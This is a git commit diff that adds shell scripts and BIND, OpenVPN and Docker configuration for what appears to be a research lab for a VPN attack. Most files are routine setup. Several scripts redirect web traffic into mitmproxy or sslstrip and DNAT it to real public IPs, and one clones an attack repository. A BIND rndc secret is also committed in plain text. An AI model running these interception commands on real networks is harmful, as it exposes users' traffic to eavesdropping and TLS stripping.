adding original attack test scripts and demos

2021-01-26 18:08:23 -07:00
1 parent 42571735de
commit 5882c33314
@@ -0,0 +1,28 @@
+#!/bin/bash
+#
+
+echo "Setting up iptables rules for NAT stuff.."
+
+echo iptables-persistent iptables-persistent/autosave_v4 boolean true | sudo debconf-set-selections
+echo iptables-persistent iptables-persistent/autosave_v6 boolean true | sudo debconf-set-selections
+sudo apt-get install iptables-persistent -y
+
+echo Flusing any old iptables rules..
+
+sudo iptables -F
+
+sudo iptables --table nat -F
+
+sudo iptables --delete-chain
+
+sudo iptables --table nat --delete-chain
+
+echo Adding forward and masquerade rule for NATing
+
+sudo iptables -t nat --append POSTROUTING --out-interface enp0s8 -j MASQUERADE
+
+sudo iptables --append FORWARD --in-interface enp0s9 -j ACCEPT
+
+echo Saving the current iptables config..
+
+sudo netfilter-persistent save
@@ -0,0 +1,6 @@
+#!/bin/bash
+#
+
+echo Routing all traffic to web server through tun..
+#up route add -net 192.168.0.0/16 gw 192.168.2.254 dev enp0s8
+sudo ip route add 192.168.3.2 dev tun0
@@ -0,0 +1,15 @@
+#/bin/bash
+#!
+
+echo "Connecting to local vpn server.."
+
+sleep 0.1
+
+sudo openvpn --client --config client* &
+
+
+sleep 8 # might need to sleep longer to make sure tun0 exists
+
+echo "Adding ip route rule to force traffic destined for web+dns servers to use vpn tun interface"
+
+sudo ip route add 192.168.3.2 dev tun0
@@ -0,0 +1,17 @@
+#/bin/bash
+#
+
+
+echo Adding nat iptables rules to route traffic through mitmproxy..
+
+sudo iptables -t nat -A PREROUTING -i enp0s8 -p tcp --dport 80 -j REDIRECT --to-port 8080
+sudo iptables -t nat -A PREROUTING -i enp0s8 -p tcp --dport 443 -j REDIRECT --to-port 8080
+
+
+
+echo Adding redirect to real server rules..
+
+REDIRECT_IP=157.240.2.35
+
+sudo iptables -t nat -A OUTPUT -p tcp -d 192.168.2.2 --destination-port 80 -j DNAT --to-destination $REDIRECT_IP
+sudo iptables -t nat -A OUTPUT -p tcp -d 192.168.2.2 --destination-port 443 -j DNAT --to-destination $REDIRECT_IP
@@ -0,0 +1,33 @@
+#!/bin/bash
+#
+
+echo "Cloning libitns from git.."
+cd ~
+git clone https://github.com/mfontanini/libtins.git
+
+
+echo "Installing requirements (libpcap, libssl, cmake, g++)"
+
+sudo apt install libpcap-dev libssl-dev cmake -y
+sudo apt install g++ -y
+
+
+echo "Compiling libtins.."
+
+cd ~/libtins
+mkdir -p build
+cd build
+cmake ../ -DLIBTINS_ENABLE_CXX11=1
+make
+
+sudo make install
+
+
+echo "Updating ldconfig cache.."
+sudo ldconfig
+
+
+echo "Cloning attack repo.."
+cd ~
+pwd
+git clone https://git.breakpointingbad.com/beau/VeepExploit.git
@@ -0,0 +1,29 @@
+#!/bin/bash
+#
+
+
+echo iptables-persistent iptables-persistent/autosave_v4 boolean true | sudo debconf-set-selections
+echo iptables-persistent iptables-persistent/autosave_v6 boolean true | sudo debconf-set-selections
+sudo apt-get install iptables-persistent -y
+
+echo Flusing any old iptables rules..
+
+sudo iptables -F
+
+sudo iptables --table nat -F
+
+sudo iptables --delete-chain
+
+sudo iptables --table nat --delete-chain
+
+echo Adding forward and masquerade rule for NATing
+
+sudo iptables -t nat --append POSTROUTING --out-interface enp0s3 -j MASQUERADE
+
+sudo iptables --append FORWARD --in-interface enp0s8 -j ACCEPT
+
+echo Saving the current iptables config..
+
+sudo netfilter-persistent save
+
+
@@ -0,0 +1,8 @@
+#/bin/bash
+#
+
+sudo iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080
+
+sslstrip -l 8080 -w strip.log
+
+sudo iptables -t nat -A OUTPUT -p tcp -d 69.172.200.235 -j DNAT --to-destination 34.98.124.198
@@ -0,0 +1,38 @@
+# The bind.keys file is used to override the built-in DNSSEC trust anchors
+# which are included as part of BIND 9.  The only trust anchors it contains
+# are for the DNS root zone (".").  Trust anchors for any other zones MUST
+# be configured elsewhere; if they are configured here, they will not be
+# recognized or used by named.
+#
+# To use the built-in root key, set "dnssec-validation auto;" in the
+# named.conf options, or else leave "dnssec-validation" unset.  If
+# "dnssec-validation" is set to "yes", then the keys in this file are
+# ignored; keys will need to be explicitly configured in named.conf for
+# validation to work.  "auto" is the default setting, unless named is
+# built with "configure --disable-auto-validation", in which case the
+# default is "yes".
+#
+# This file is NOT expected to be user-configured.
+#
+# Servers being set up for the first time can use the contents of this file
+# as initializing keys; thereafter, the keys in the managed key database
+# will be trusted and maintained automatically.
+#
+# These keys are current as of Mar 2019.  If any key fails to initialize
+# correctly, it may have expired.  In that event you should replace this
+# file with a current version.  The latest version of bind.keys can always
+# be obtained from ISC at https://www.isc.org/bind-keys.
+#
+# See https://data.iana.org/root-anchors/root-anchors.xml for current trust
+# anchor information for the root zone.
+
+trust-anchors {
+        # This key (20326) was published in the root zone in 2017.
+        . initial-key 257 3 8 "AwEAAaz/tAm8yTn4Mfeh5eyI96WSVexTBAvkMgJzkKTOiW1vkIbzxeF3
+                +/4RgWOq7HrxRixHlFlExOLAJr5emLvN7SWXgnLh4+B5xQlNVz8Og8kv
+                ArMtNROxVQuCaSnIDdD5LKyWbRd2n9WGe2R8PzgCmr3EgVLrjyBxWezF
+                0jLHwVN8efS3rCj/EWgvIWgb9tarpVUDK/b58Da+sqqls3eNbuv7pr+e
+                oZG+SrDK6nWeL3c6H5Apxz7LjVc1uTIdsIXxuOLYA4/ilBmSVIzuDWfd
+                RUfhHdY6+cn8HFRm+2hM8AnXGXws9555KrUB5qihylGa8subX2Nn6UwN
+                R1AkUTV74bU=";
+};
@@ -0,0 +1,12 @@
+;
+; BIND reverse data file for broadcast zone
+;
+$TTL	604800
+@	IN	SOA	localhost. root.localhost. (
+			      1		; Serial
+			 604800		; Refresh
+			  86400		; Retry
+			2419200		; Expire
+			 604800 )	; Negative Cache TTL
+;
+@	IN	NS	localhost.
@@ -0,0 +1,13 @@
+;
+; BIND reverse data file for local loopback interface
+;
+$TTL	604800
+@	IN	SOA	localhost. root.localhost. (
+			      1		; Serial
+			 604800		; Refresh
+			  86400		; Retry
+			2419200		; Expire
+			 604800 )	; Negative Cache TTL
+;
+@	IN	NS	localhost.
+1.0.0	IN	PTR	localhost.
@@ -0,0 +1,12 @@
+;
+; BIND reverse data file for broadcast zone
+;
+$TTL	604800
+@	IN	SOA	localhost. root.localhost. (
+			      1		; Serial
+			 604800		; Refresh
+			  86400		; Retry
+			2419200		; Expire
+			 604800 )	; Negative Cache TTL
+;
+@	IN	NS	localhost.
@@ -0,0 +1,14 @@
+; BIND reverse data file for empty rfc1918 zone
+;
+; DO NOT EDIT THIS FILE - it is used for multiple zones.
+; Instead, copy it, edit named.conf, and use that copy.
+;
+$TTL	86400
+@	IN	SOA	localhost. root.localhost. (
+			      1		; Serial
+			 604800		; Refresh
+			  86400		; Retry
+			2419200		; Expire
+			  86400 )	; Negative Cache TTL
+;
+@	IN	NS	localhost.
@@ -0,0 +1,14 @@
+;
+; BIND data file for local loopback interface
+;
+$TTL	604800
+@	IN	SOA	localhost. root.localhost. (
+			      2		; Serial
+			 604800		; Refresh
+			  86400		; Retry
+			2419200		; Expire
+			 604800 )	; Negative Cache TTL
+;
+@	IN	NS	localhost.
+@	IN	A	127.0.0.1
+@	IN	AAAA	::1
@@ -0,0 +1,11 @@
+// This is the primary configuration file for the BIND DNS server named.
+//
+// Please read /usr/share/doc/bind9/README.Debian.gz for information on the 
+// structure of BIND configuration files in Debian, *BEFORE* you customize 
+// this configuration file.
+//
+// If you are just adding zones, please do that in /etc/bind/named.conf.local
+
+include "/etc/bind/named.conf.options";
+include "/etc/bind/named.conf.local";
+include "/etc/bind/named.conf.default-zones";
@@ -0,0 +1,30 @@
+// prime the server with knowledge of the root servers
+zone "." {
+	type hint;
+	file "/usr/share/dns/root.hints";
+};
+
+// be authoritative for the localhost forward and reverse zones, and for
+// broadcast zones as per RFC 1912
+
+zone "localhost" {
+	type master;
+	file "/etc/bind/db.local";
+};
+
+zone "127.in-addr.arpa" {
+	type master;
+	file "/etc/bind/db.127";
+};
+
+zone "0.in-addr.arpa" {
+	type master;
+	file "/etc/bind/db.0";
+};
+
+zone "255.in-addr.arpa" {
+	type master;
+	file "/etc/bind/db.255";
+};
+
+
@@ -0,0 +1,8 @@
+//
+// Do any local configuration here
+//
+
+// Consider adding the 1918 zones here, if they are not used in your
+// organization
+//include "/etc/bind/zones.rfc1918";
+
@@ -0,0 +1,39 @@
+acl "trusted" {
+	localhost;
+	192.168.1.2;
+	192.168.2.2;
+	192.168.3.2;
+};
+
+options {
+	directory "/var/cache/bind";
+
+	recursion yes;
+	listen-on { any; };
+	allow-query { any; };
+	allow-recursion { trusted; };
+	allow-query-cache { trusted; };
+
+	// If there is a firewall between you and nameservers you want
+	// to talk to, you may need to fix the firewall to allow multiple
+	// ports to talk.  See http://www.kb.cert.org/vuls/id/800113
+
+	// If your ISP provided one or more IP addresses for stable 
+	// nameservers, you probably want to use them as forwarders.  
+	// Uncomment the following block, and insert the addresses replacing 
+	// the all-0's placeholder.
+
+	// forwarders {
+	// 	0.0.0.0;
+	// };
+
+	//========================================================================
+	// If BIND logs error messages about the root key being expired,
+	// you will need to update your keys.  See https://www.isc.org/bind-keys
+	//========================================================================
+	dnssec-validation auto;
+
+	listen-on-v6 { any; };
+
+
+};
@@ -0,0 +1,4 @@
+key "rndc-key" {
+	algorithm hmac-sha256;
+	secret "tREasaE2Jal1GfwfL5iii3a88eRGKWui41l5h3v89OM=";
+};
@@ -0,0 +1,20 @@
+zone "10.in-addr.arpa"      { type master; file "/etc/bind/db.empty"; };
+ 
+zone "16.172.in-addr.arpa"  { type master; file "/etc/bind/db.empty"; };
+zone "17.172.in-addr.arpa"  { type master; file "/etc/bind/db.empty"; };
+zone "18.172.in-addr.arpa"  { type master; file "/etc/bind/db.empty"; };
+zone "19.172.in-addr.arpa"  { type master; file "/etc/bind/db.empty"; };
+zone "20.172.in-addr.arpa"  { type master; file "/etc/bind/db.empty"; };
+zone "21.172.in-addr.arpa"  { type master; file "/etc/bind/db.empty"; };
+zone "22.172.in-addr.arpa"  { type master; file "/etc/bind/db.empty"; };
+zone "23.172.in-addr.arpa"  { type master; file "/etc/bind/db.empty"; };
+zone "24.172.in-addr.arpa"  { type master; file "/etc/bind/db.empty"; };
+zone "25.172.in-addr.arpa"  { type master; file "/etc/bind/db.empty"; };
+zone "26.172.in-addr.arpa"  { type master; file "/etc/bind/db.empty"; };
+zone "27.172.in-addr.arpa"  { type master; file "/etc/bind/db.empty"; };
+zone "28.172.in-addr.arpa"  { type master; file "/etc/bind/db.empty"; };
+zone "29.172.in-addr.arpa"  { type master; file "/etc/bind/db.empty"; };
+zone "30.172.in-addr.arpa"  { type master; file "/etc/bind/db.empty"; };
+zone "31.172.in-addr.arpa"  { type master; file "/etc/bind/db.empty"; };
+
+zone "168.192.in-addr.arpa" { type master; file "/etc/bind/db.empty"; };
@@ -0,0 +1,19 @@
+#!/bin/bash
+#
+
+echo "Installing docker.."
+
+curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo apt-key add -
+
+sudo add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/ubuntu $(lsb_release -cs) stable"
+
+sudo apt-get update
+
+apt-cache policy docker-ce
+
+sudo apt-get install -y docker-ce
+
+
+sudo usermod -aG docker ${USER}
+
+sudo systemctl status docker
@@ -0,0 +1,13 @@
+#!/bin/bash
+#
+
+echo "Starting dns server container.."
+
+docker run --name bind -d -it --restart=always \
+  --publish=192.168.3.2:53:53/tcp --publish=192.168.3.2:53:53/udp --publish 10000:10000/tcp \
+  -v /home/vagrant/bind_config/:/data/bind/etc/ \
+  sameersbn/bind:9.16.1-20200524
+
+#-v /home/vagrant/copy_config/:/data/bind/etc/ \
+#--volume /srv/docker/bind:/data \
+#--volume /home/vagrant/named.conf.options:/data/bind/etc/named.conf.options \
@@ -0,0 +1,59 @@
+#!/bin/bash
+#
+
+BORDER=">>>>>>>>>>>>>>>>"
+
+printf "$BORDER Setting up base client config file\n\n"
+
+mkdir -p ~/client-configs/files
+chmod 700 ~/client-configs/files
+
+
+cp /usr/share/doc/openvpn/examples/sample-config-files/client.conf ~/client-configs/base.conf
+
+
+sed -i "s/my-server-1 1194/192.168.2.2 443/g" ~/client-configs/base.conf
+sed -i "s/proto udp/proto tcp/g" ~/client-configs/base.conf
+
+sed -i "s/;user nobody/user nobody/g" ~/client-configs/base.conf
+sed -i "s/;group nobody/group nobody/g" ~/client-configs/base.conf
+
+sed -i "s/ca ca.crt/# ca ca.crt/g" ~/client-configs/base.conf
+sed -i "s/cert client.crt/# cert client.crt/g" ~/client-configs/base.conf
+sed -i "s/key client.key/# key client.key/g" ~/client-configs/base.conf
+
+
+cat >> ~/client-configs/base.conf << EOF
+cipher AES-128-CBC
+auth SHA256
+key-direction 1
+# script-security 2
+# up /etc/openvpn/update-resolv-conf
+# down /etc/openvpn/update-resolv-conf
+EOF
+
+
+printf "$BORDER Creating make client config script..\n\n"
+
+touch ~/client-configs/make_config.sh
+
+cat >> ~/client-configs/make_config.sh << EOF
+#!/bin/bash
+
+# First argument: Client identifier
+
+KEY_DIR=~/openvpn-ca/keys
+OUTPUT_DIR=~/client-configs/files
+BASE_CONFIG=~/client-configs/base.conf
+
+cat \${BASE_CONFIG} <(echo -e '<ca>') \${KEY_DIR}/ca.crt <(echo -e '</ca>\n<cert>') \${KEY_DIR}/\${1}.crt <(echo -e '</cert>\n<key>') \${KEY_DIR}/\${1}.key <(echo -e '</key>\n<tls-auth>') \${KEY_DIR}/ta.key <(echo -e '</tls-auth>') > \${OUTPUT_DIR}/\${1}.ovpn
+EOF
+
+chmod 700 ~/client-configs/make_config.sh
+
+
+printf "$BORDER Making client config file for client1\n\n"
+
+cd ~/client-configs
+./make_config.sh client1
+ls ~/client-configs/files
@@ -0,0 +1,106 @@
+#!/bin/bash
+#
+
+BORDER=">>>>>>>>>>>>>>"
+printf "$BORDER Installing openvpn and EasyRSA $BORDER \n\n"
+
+sudo apt-get update -y
+sudo apt-get install openvpn easy-rsa -y
+
+
+printf "$BORDER Setting default openvpn vars $BORDER \n\n"
+
+make-cadir ~/openvpn-ca
+cd ~/openvpn-ca
+
+
+sed -i "s/KEY_PROVINCE=\"CA\"/KEY_PROVINCE=\"NM\"/g" vars
+sed -i "s/KEY_CITY=\"SanFrancisco\"/KEY_CITY=\"Albuquerque\"/g" vars
+sed -i "s/KEY_ORG=\"Fort-Funston\"/KEY_ORG=\"BreakpointingBad\"/g" vars
+sed -i "s/KEY_NAME=\"EasyRSA\"/KEY_NAME=\"server\"/g" vars
+
+
+
+cd ~/openvpn-ca
+source vars
+
+
+printf "$BORDER Building the certificate authority $BORDER \n\n"
+
+./clean-all
+./build-ca
+
+printf "$BORDER Creating the server certificate $BORDER \n\n"
+
+./build-key-server server
+
+printf "$BORDER Generating Diffie-Hellman keys to use during key exchange $BORDER \n\n"
+
+./build-dh
+
+printf "$BORDER Generating HMAC signature to strengthen the server’s TLS integrity verification"
+
+openvpn --genkey --secret keys/ta.key
+
+
+printf "$BORDER Generating client certificate and key pair $BORDER \n\n"
+cd ~/openvpn-ca
+source vars
+./build-key client1
+
+
+printf "$BORDER Configuring the openvpn service using generated keys + certs $BORDER \n\n"
+
+cd ~/openvpn-ca/keys
+sudo cp ca.crt server.crt server.key ta.key dh2048.pem /etc/openvpn
+
+gunzip -c /usr/share/doc/openvpn/examples/sample-config-files/server.conf.gz | sudo tee /etc/openvpn/server.conf
+
+
+sudo sed -i "s/;tls-auth ta.key 0/tls-auth ta.key 0/g"  /etc/openvpn/server.conf
+sudo sed -i "s/;cipher AES-128-CBC/cipher AES-128-CBC/g"  /etc/openvpn/server.conf
+
+sudo sed -i "s/;user nobody/user nobody/g"  /etc/openvpn/server.conf
+sudo sed -i "s/;group nogroup/group nogroup/g"  /etc/openvpn/server.conf
+
+#sudo sed -i "s/;push \"redirect-gateway def1 bypass-dhcp\"/push \"redirect-gateway def1 bypass-dhcp\"/g"  /etc/openvpn/server.conf
+#sudo sed -i "s/;push \"dhcp-option DNS 208.67.222.222\"/push \"dhcp-option DNS 208.67.222.222\"/g"  /etc/openvpn/server.conf
+#sudo sed -i "s/;push \"dhcp-option DNS 208.67.220.220\"/push \"dhcp-option DNS 208.67.220.220\"/g"  /etc/openvpn/server.conf
+
+sudo bash -c 'cat >> /etc/openvpn/server.conf << EOF
+auth SHA256
+EOF'
+
+sudo sed -i "s/port 1194/port 443/g"  /etc/openvpn/server.conf
+sudo sed -i "s/proto udp/proto tcp/g"  /etc/openvpn/server.conf
+
+
+printf "$BORDER Adjusting the servers network config to allow for vpn things $BORDER \n\n"
+
+sudo sed -i "s/#net.ipv4.ip_forward=1/net.ipv4.ip_forward=1/g"  /etc/sysctl.conf
+sudo sysctl -p
+
+
+sudo bash -c 'cat >> /etc/ufw/before.rules << EOF
+# START OPENVPN RULES
+# NAT table rules
+*nat
+:POSTROUTING ACCEPT [0:0]
+# Allow traffic from OpenVPN client to enp0s8
+-A POSTROUTING -s 10.8.0.0/8 -o enp0s8 -j MASQUERADE
+COMMIT
+# END OPENVPN RULES
+EOF'
+
+
+sudo sed -i "s/DEFAULT_FORWARD_POLICY=\"DROP\"/DEFAULT_FORWARD_POLICY=\"ACCEPT\"/g" /etc/default/ufw
+sudo ufw allow 443/tcp
+sudo ufw allow OpenSSH
+
+sudo ufw disable
+sudo ufw enable
+
+printf "$BORDER Enabling the openvpn service $BORDER \n\n"
+
+sudo systemctl start openvpn@server
+sudo systemctl enable openvpn@server